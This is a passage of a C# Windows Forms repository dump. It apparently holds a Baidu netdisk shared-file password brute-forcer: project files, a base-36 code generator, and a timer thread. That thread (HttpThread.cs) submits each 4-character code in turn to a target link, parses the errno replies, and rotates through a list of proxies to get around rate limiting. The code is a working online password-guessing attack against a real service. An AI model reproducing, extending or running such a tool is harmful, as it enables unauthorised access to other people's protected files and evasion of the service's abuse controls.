33 |
34 |
35 | ico.ico
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 | Form
57 |
58 |
59 | Main.cs
60 |
61 |
62 |
63 |
64 |
65 | Main.cs
66 |
67 |
68 | ResXFileCodeGenerator
69 | Resources.Designer.cs
70 | Designer
71 |
72 |
73 | True
74 | Resources.resx
75 | True
76 |
77 |
78 | SettingsSingleFileGenerator
79 | Settings.Designer.cs
80 |
81 |
82 | True
83 | Settings.settings
84 | True
85 |
86 |
87 |
88 |
89 |
90 |
91 |
98 |
--------------------------------------------------------------------------------
/TestPassword V1.8.1.0/TestPassword/ico.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.8.1.0/TestPassword/ico.ico
--------------------------------------------------------------------------------
/TestPassword V1.8.1.0/TestPassword/ico.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.8.1.0/TestPassword/ico.png
--------------------------------------------------------------------------------
/TestPassword V1.8.1.1/TestPassword.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 14
4 | VisualStudioVersion = 14.0.23107.0
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestPassword", "TestPassword\TestPassword.csproj", "{AC42684F-60E0-464C-881D-B679DA8D8A7B}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | EndGlobal
23 |
--------------------------------------------------------------------------------
/TestPassword V1.8.1.1/TestPassword/Hash.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace zgcwkj
4 | {
5 | public static class Hash
6 | {
7 | //哈希类 36进制
8 | //有效哈希[10000000,11679615]
9 |
10 | #region 只支持4位 By MXWXZ
11 |
12 | public static string HashTo4Str(int hash)
13 | {
14 | string ret = "";
15 | hash -= 10000000;
16 | while (hash > 0)
17 | {
18 | ret += Hash2Char(hash % 36);
19 | hash /= 36;
20 | }
21 | if (ret.Length == 3) ret += "0";//前导零
22 | if (ret.Length == 2) ret += "00";
23 | if (ret.Length == 1) ret += "000";
24 | if (ret.Length == 0) ret += "0000";
25 | return reverse(ret);
26 | }
27 |
28 | public static int StrTo4Hash(string str)
29 | {
30 | int ret = 0;
31 | ret += Char2Hash(str[0]) * 46656;
32 | ret += Char2Hash(str[1]) * 1296;
33 | ret += Char2Hash(str[2]) * 36;
34 | ret += Char2Hash(str[3]);
35 | ret += 10000000;//防止前导零
36 | return ret;
37 | }
38 |
39 | #endregion 只支持4位 By MXWXZ
40 |
41 | #region 只支持6位 By zgcwkj
42 |
43 | public static string HashTo6Str(int hash)
44 | {
45 | string ret = "";
46 | hash -= 100000;
47 | while (hash > 0)
48 | {
49 | ret += Hash2Char(hash % 36);
50 | hash /= 36;
51 | }
52 | if (ret.Length == 5) ret += "0";//前导零
53 | if (ret.Length == 4) ret += "00";
54 | if (ret.Length == 3) ret += "000";
55 | if (ret.Length == 2) ret += "0000";
56 | if (ret.Length == 1) ret += "00000";
57 | if (ret.Length == 0) ret += "000000";
58 | return reverse(ret);
59 | }
60 |
61 | public static int StrTo6Hash(string str)
62 | {
63 | int ret = 0;
64 | ret += Char2Hash(str[0]) * 60466176;
65 | ret += Char2Hash(str[1]) * 1679616;
66 | ret += Char2Hash(str[2]) * 46656;
67 | ret += Char2Hash(str[3]) * 1296;
68 | ret += Char2Hash(str[4]) * 36;
69 | ret += Char2Hash(str[5]);
70 | ret += 100000;//防止前导零
71 | return ret;
72 | }
73 |
74 | #endregion 只支持6位 By zgcwkj
75 |
76 | private static int Char2Hash(char c)
77 | {
78 | if (c >= '0' && c <= '9') return c - '0';
79 | else return c - 'a' + 10;
80 | }
81 |
82 | private static char Hash2Char(int hash)
83 | {
84 | if (hash >= 0 && hash <= 9) return (char)('0' + hash);
85 | else return (char)('a' + hash - 10);
86 | }
87 |
88 | private static string reverse(string str)
89 | {
90 | char[] arr = str.ToCharArray();
91 | Array.Reverse(arr);
92 | return new string(arr);
93 | }
94 | }
95 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.1.1/TestPassword/HttpThread.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Net;
4 | using System.Timers;
5 |
6 | namespace zgcwkj
7 | {
8 | public class HttpThread
9 | {
10 | private Main myMain;//主窗体
11 | private int StartValue = 0;//基值
12 | private int NumberValue = 0;//剩余次数
13 | private Timer timer;//线程
14 | private string ThreadID;//线程ID
15 |
16 | private WebProxy webProxy;//代理 实体
17 | private string[] webProxyIP;//代理 IP组
18 | private int webProxyBout;//代理 次/回
19 |
20 | ///
21 | /// http请求线程类
22 | ///
23 | /// 主窗体
24 | /// 线程名称
25 | /// 开始值
26 | /// 结束值
27 | /// 线程速度
28 | public HttpThread(Main main, string name, int start, int number, int interval)
29 | {
30 | myMain = main;
31 | StartValue = start;
32 | NumberValue = number;
33 | ThreadID = StaticClass.file + "/" + name;
34 | timer = new Timer(interval);
35 | }
36 |
37 | ///
38 | /// 启动线程
39 | ///
40 | ///
41 | public HttpThread Start()
42 | {
43 | #region 载入历史参数
44 |
45 | try
46 | {
47 | if (File.Exists(ThreadID + ".ini"))
48 | {
49 | string _start = File.ReadAllText(ThreadID + ".ini");
50 | if (_start != "") StartValue = Convert.ToInt32(_start);
51 | }
52 | }
53 | catch { }
54 |
55 | #endregion 载入历史参数
56 |
57 | timer.Elapsed += new ElapsedEventHandler(_Timer);
58 | timer.Start();
59 | return this;
60 | }
61 |
62 | private void _Timer(object sender, ElapsedEventArgs e)
63 | {
64 | Timer timer = sender as Timer;
65 | if (NumberValue < StartValue || StaticClass.status)
66 | {
67 | #region 保存历史参数
68 |
69 | try
70 | {
71 | File.WriteAllText(ThreadID + ".ini", StartValue.ToString());
72 | }
73 | catch { }
74 |
75 | #endregion 保存历史参数
76 |
77 | timer.Stop();
78 | }
79 | else
80 | {
81 | string password = Hash.HashTo4Str(StartValue);
82 | HttpTest httptest = new HttpTest(StaticClass.url);
83 | string html = httptest.Post(password, webProxy);
84 | myMain.ModifyStr(html, password);
85 |
86 | if (html.Contains("\"errno\":0")) { }
87 | else if (html.Contains("\"errno\":-9")) StartValue = StartValue + 1;
88 | else if (html.Contains("\"errno\":-62")) StartValue = StartValue + 1;
89 | else ProxyWeb();
90 | }
91 | }
92 |
93 | ///
94 | /// 代理 WEB
95 | ///
96 | private void ProxyWeb()
97 | {
98 | //判断是否启动代理服务
99 | if (!myMain.cB_proxy.Checked) { return; }
100 |
101 | //判断IP组是否有数据
102 | if (webProxyIP == null) { webProxyIP = File.ReadAllText(StaticClass.proxy).Replace("\r", "").Split('\n'); }
103 |
104 | string ip_port = webProxyIP[webProxyBout];
105 | int indexof = ip_port.IndexOf(":");
106 | string ip = ip_port.Substring(0, indexof);
107 | string port = ip_port.Substring(indexof + 1, ip_port.Length - indexof - 1);
108 |
109 | webProxy = new WebProxy(ip, Convert.ToInt32(port));
110 |
111 | try
112 | {
113 | WebClient webClient = new WebClient();
114 | webClient.Proxy = webProxy;
115 | byte[] bytes = webClient.DownloadData("https://pan.baidu.com");
116 | string html = System.Text.Encoding.Default.GetString(bytes);
117 | }
118 | catch (Exception e)
119 | {
120 | string message = e.Message;
121 | if (webProxyBout < webProxyIP.Length - 1) webProxyBout++; else webProxyBout = 0;
122 | }
123 | }
124 | }
125 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.1.1/TestPassword/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Threading;
3 | using System.Windows.Forms;
4 |
5 | namespace zgcwkj
6 | {
7 | internal static class Program
8 | {
9 | ///
10 | /// 应用程序的主入口点。
11 | ///
12 | [STAThread]
13 | private static void Main()
14 | {
15 | // 在此方法返回时,如果创建了局部互斥体(即,如果 name 为 null 或空字符串)或指定的命名系统互斥体,则包含布尔值 true
16 | // 如果指定的命名系统互斥体已存在,则为false
17 | using (Mutex mutex = new Mutex(true, Application.ProductName, out bool Uniquely_Identifies_TestPassword))
18 | {
19 | if (Uniquely_Identifies_TestPassword)
20 | {
21 | Application.EnableVisualStyles();
22 | Application.SetCompatibleTextRenderingDefault(false);
23 | Application.Run(new Main());
24 | }
25 | else//程序已经运行的情况,则弹出消息提示并终止此次运行
26 | {
27 | MessageBox.Show("应用程序已经启动了");
28 | System.Threading.Thread.Sleep(1000);
29 | // 终止此进程并为基础操作系统提供指定的退出代码。
30 | System.Environment.Exit(1);
31 | }
32 | }
33 | }
34 | }
35 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.1.1/TestPassword/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.InteropServices;
3 |
4 | // 有关程序集的一般信息由以下
5 | // 控制。更改这些特性值可修改
6 | // 与程序集关联的信息。
7 | [assembly: AssemblyTitle("百度网盘分享文件密码测试器")]
8 | [assembly: AssemblyDescription("百度网盘分享文件密码进行无穷测试工具")]
9 | [assembly: AssemblyConfiguration("")]
10 | [assembly: AssemblyCompany("zgcwkj")]
11 | [assembly: AssemblyProduct("百度网盘分享文件密码测试器")]
12 | [assembly: AssemblyCopyright("Copyright © 2018")]
13 | [assembly: AssemblyTrademark("zgcwkj")]
14 | [assembly: AssemblyCulture("")]
15 |
16 | //将 ComVisible 设置为 false 将使此程序集中的类型
17 | //对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型,
18 | //请将此类型的 ComVisible 特性设置为 true。
19 | [assembly: ComVisible(false)]
20 |
21 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
22 | [assembly: Guid("ac42684f-60e0-464c-881d-b679da8d8a7b")]
23 |
24 | // 程序集的版本信息由下列四个值组成:
25 | //
26 | // 主版本
27 | // 次版本
28 | // 生成号
29 | // 修订号
30 | //
31 | //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值,
32 | // 方法是按如下所示使用“*”: :
33 | // [assembly: AssemblyVersion("1.0.*")]
34 | [assembly: AssemblyVersion("1.8.1.1")]
35 | [assembly: AssemblyFileVersion("1.8.1.1")]
--------------------------------------------------------------------------------
/TestPassword V1.8.1.1/TestPassword/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // 此代码由工具生成。
4 | // 运行时版本:4.0.30319.42000
5 | //
6 | // 对此文件的更改可能会导致不正确的行为,并且如果
7 | // 重新生成代码,这些更改将会丢失。
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace zgcwkj.Properties {
12 | using System;
13 |
14 |
15 | ///
16 | /// 一个强类型的资源类,用于查找本地化的字符串等。
17 | ///
18 | // 此类是由 StronglyTypedResourceBuilder
19 | // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
20 | // 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen
21 | // (以 /str 作为命令选项),或重新生成 VS 项目。
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resources() {
33 | }
34 |
35 | ///
36 | /// 返回此类使用的缓存的 ResourceManager 实例。
37 | ///
38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
39 | internal static global::System.Resources.ResourceManager ResourceManager {
40 | get {
41 | if (object.ReferenceEquals(resourceMan, null)) {
42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("zgcwkj.Properties.Resources", typeof(Resources).Assembly);
43 | resourceMan = temp;
44 | }
45 | return resourceMan;
46 | }
47 | }
48 |
49 | ///
50 | /// 使用此强类型资源类,为所有资源查找
51 | /// 重写当前线程的 CurrentUICulture 属性。
52 | ///
53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
54 | internal static global::System.Globalization.CultureInfo Culture {
55 | get {
56 | return resourceCulture;
57 | }
58 | set {
59 | resourceCulture = value;
60 | }
61 | }
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/TestPassword V1.8.1.1/TestPassword/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // 此代码由工具生成。
4 | // 运行时版本:4.0.30319.42000
5 | //
6 | // 对此文件的更改可能会导致不正确的行为,并且如果
7 | // 重新生成代码,这些更改将会丢失。
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace zgcwkj.Properties {
12 |
13 |
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
17 |
18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
19 |
20 | public static Settings Default {
21 | get {
22 | return defaultInstance;
23 | }
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/TestPassword V1.8.1.1/TestPassword/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/TestPassword V1.8.1.1/TestPassword/Proxy.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace zgcwkj
2 | {
3 | partial class Proxy
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Proxy));
32 | this.txt_1 = new System.Windows.Forms.Label();
33 | this.txt = new System.Windows.Forms.Label();
34 | this.SuspendLayout();
35 | //
36 | // txt_1
37 | //
38 | this.txt_1.Font = new System.Drawing.Font("宋体", 13F);
39 | this.txt_1.Location = new System.Drawing.Point(14, 57);
40 | this.txt_1.Name = "txt_1";
41 | this.txt_1.Size = new System.Drawing.Size(183, 23);
42 | this.txt_1.TabIndex = 0;
43 | this.txt_1.Text = "000.000.000.000:0000";
44 | //
45 | // txt
46 | //
47 | this.txt.AutoSize = true;
48 | this.txt.Font = new System.Drawing.Font("宋体", 14F);
49 | this.txt.Location = new System.Drawing.Point(12, 28);
50 | this.txt.Name = "txt";
51 | this.txt.Size = new System.Drawing.Size(143, 19);
52 | this.txt.TabIndex = 1;
53 | this.txt.Text = "当前尝试的IP:";
54 | //
55 | // Proxy
56 | //
57 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
58 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
59 | this.ClientSize = new System.Drawing.Size(204, 111);
60 | this.Controls.Add(this.txt);
61 | this.Controls.Add(this.txt_1);
62 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
63 | this.MaximizeBox = false;
64 | this.MaximumSize = new System.Drawing.Size(220, 150);
65 | this.MinimizeBox = false;
66 | this.MinimumSize = new System.Drawing.Size(220, 150);
67 | this.Name = "Proxy";
68 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
69 | this.Text = "自动代理服务";
70 | this.ResumeLayout(false);
71 | this.PerformLayout();
72 |
73 | }
74 |
75 | #endregion
76 |
77 | private System.Windows.Forms.Label txt_1;
78 | private System.Windows.Forms.Label txt;
79 | }
80 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.1.1/TestPassword/StaticClass.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Net;
4 | using System.Text;
5 |
6 | namespace zgcwkj
7 | {
8 | ///
9 | /// 静态类
10 | ///
11 | public static class StaticClass
12 | {
13 | #region 静态字符串
14 |
15 | ///
16 | /// 线程状态
17 | /// false 为 线程通畅
18 | /// true 为 线程阻塞,就是线程要停止了
19 | ///
20 | public static bool status { get; set; }
21 |
22 | ///
23 | /// 目标连接
24 | ///
25 | public static string url { get; set; }
26 |
27 | ///
28 | /// 项目的路径
29 | ///
30 | public static string file { get; set; }
31 |
32 | ///
33 | /// 配置文件的路径
34 | ///
35 | public static string config { get; set; }
36 |
37 | ///
38 | /// 代理文件的路径
39 | ///
40 | public static string proxy { get; set; }
41 |
42 | #endregion 静态字符串
43 |
44 | #region 静态方法
45 |
46 | ///
47 | /// Get请求
48 | ///
49 | public static string HttpGet(string Url)
50 | {
51 | HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
52 | request.Method = "GET";
53 | request.ContentType = "text/html;charset=UTF-8";
54 |
55 | try
56 | {
57 | HttpWebResponse response = (HttpWebResponse)request.GetResponse();
58 | StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
59 | string retString = myStreamReader.ReadToEnd();
60 | myStreamReader.Close();
61 | return retString;
62 | }
63 | catch (Exception e)
64 | {
65 | return e.Message;
66 | }
67 | }
68 |
69 | #endregion 静态方法
70 | }
71 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.1.1/TestPassword/TestPassword.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}
8 | WinExe
9 | Properties
10 | zgcwkj
11 | TestPassword
12 | v4.0
13 | 512
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 | ico.ico
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 | Form
55 |
56 |
57 | Main.cs
58 |
59 |
60 |
61 |
62 |
63 | Main.cs
64 |
65 |
66 | ResXFileCodeGenerator
67 | Resources.Designer.cs
68 | Designer
69 |
70 |
71 | True
72 | Resources.resx
73 | True
74 |
75 |
76 | SettingsSingleFileGenerator
77 | Settings.Designer.cs
78 |
79 |
80 | True
81 | Settings.settings
82 | True
83 |
84 |
85 |
86 |
87 |
88 |
89 |
96 |
--------------------------------------------------------------------------------
/TestPassword V1.8.1.1/TestPassword/ico.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.8.1.1/TestPassword/ico.ico
--------------------------------------------------------------------------------
/TestPassword V1.8.1.1/TestPassword/ico.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.8.1.1/TestPassword/ico.png
--------------------------------------------------------------------------------